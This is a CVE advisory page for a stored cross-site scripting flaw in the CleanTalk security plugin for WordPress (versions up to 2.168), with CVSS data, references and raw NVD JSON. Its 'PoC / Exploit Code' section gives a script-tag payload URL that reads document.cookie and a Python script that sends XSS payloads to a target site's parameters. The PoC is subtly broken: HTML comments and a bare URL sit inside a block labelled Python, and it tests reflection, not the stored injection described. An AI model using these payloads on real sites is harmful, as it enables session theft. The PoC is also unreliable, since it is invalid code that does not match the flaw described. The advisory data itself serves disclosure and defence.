CVE-2025-13604

Description

The Login Security, FireWall, Malware removal by CleanTalk plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the page URL in all versions up to, and including, 2.168 due to insufficient input sanitization and output escaping. This makes it possible for unauthenticated attackers to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page.

CVSS Details

CVSS Score

7.2

Severity

HIGH

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:N

Configurations (Affected Products)

No configuration data available.

CleanTalk Security Plugin for WordPress ≤ 2.168

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

<!-- CVE-2025-13604 Stored XSS PoC -->
<!-- 构造包含XSS Payload的URL -->
http://target-wordpress-site/?page=<script>alert(document.cookie)</script>

<!-- 自动化测试Python脚本 -->
import requests

target_url = "http://target-wordpress-site/"
payload = "<script>alert('XSS')</script>"

# 测试受影响的URL参数
test_urls = [
    f"{target_url}?page={payload}",
    f"{target_url}?page_url={payload}",
    f"{target_url}?redirect_to={payload}"
]

for url in test_urls:
    try:
        response = requests.get(url, timeout=10)
        if payload in response.text:
            print(f"[!] Potential XSS vulnerability found at: {url}")
            print(f"[+] Payload reflected in response")
        else:
            print(f"[-] No reflection at: {url}")
    except requests.RequestException as e:
        print(f"[E] Error testing {url}: {e}")

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2025-13604
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2025-13604
[3] CVE Details https://www.cvedetails.com/cve/CVE-2025-13604/
[4] VulDB https://vuldb.com/cve/CVE-2025-13604
[5] https://plugins.trac.wordpress.org/browser/security-malware-firewall/tags/2.168/inc/spbc-settings.php#L2342
[6] https://www.wordfence.com/threat-intel/vulnerabilities/id/1e35eb83-716e-4177-99ba-24a884725265?source=cve

Raw JSON Data

JSON

{"cve": {"id": "CVE-2025-13604", "sourceIdentifier": "[email protected]", "published": "2025-12-09T16:17:35.473", "lastModified": "2026-04-15T00:35:42.020", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "The Login Security, FireWall, Malware removal by CleanTalk plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the page URL in all versions up to, and including, 2.168 due to insufficient input sanitization and output escaping. This makes it possible for unauthenticated attackers to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:N", "baseScore": 7.2, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.9, "impactScore": 2.7}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-79"}]}], "references": [{"url": "https://plugins.trac.wordpress.org/browser/security-malware-firewall/tags/2.168/inc/spbc-settings.php#L2342", "source": "[email protected]"}, {"url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/1e35eb83-716e-4177-99ba-24a884725265?source=cve", "source": "[email protected]"}]}}